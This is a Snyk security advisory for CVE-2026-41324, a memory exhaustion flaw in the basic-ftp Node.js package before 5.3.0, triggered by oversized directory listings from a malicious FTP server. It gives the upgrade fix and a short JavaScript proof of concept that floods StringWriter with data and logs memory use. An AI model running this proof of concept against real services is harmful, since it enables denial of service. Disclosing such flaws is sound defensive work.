Allocation of Resources Without Limits or Throttling Affecting basic-ftp package, versions <5.3.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-BASICFTP-16094986
- published17 Apr 2026
- disclosed16 Apr 2026
- creditMaanVader
Introduced: 16 Apr 2026
NewCVE-2026-41324 (opens in a new tab)How to fix?
Upgrade basic-ftp to version 5.3.0 or higher.
Overview
basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the StringWriter method. An attacker can cause excessive memory consumption and potential process termination by sending an extremely large or unbounded directory listing response from a malicious or compromised FTP server.
PoC
const { StringWriter } = require("basic-ftp/dist/StringWriter.js");
function mb(n) {
return Math.round(n / 1024 / 1024) + "MB";
}
const writer = new StringWriter();
let wrote = 0;
for (let i = 0; i < 32; i++) {
const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);
writer.write(chunk);
wrote += chunk.length;
if ((i + 1) % 8 === 0) {
const m = process.memoryUsage();
console.log("written", mb(wrote), "rss", mb(m.rss), "heap", mb(m.heapUsed), "buf", mb(m.arrayBuffers));
}
}
console.log("final text len", writer.getText("utf8").length);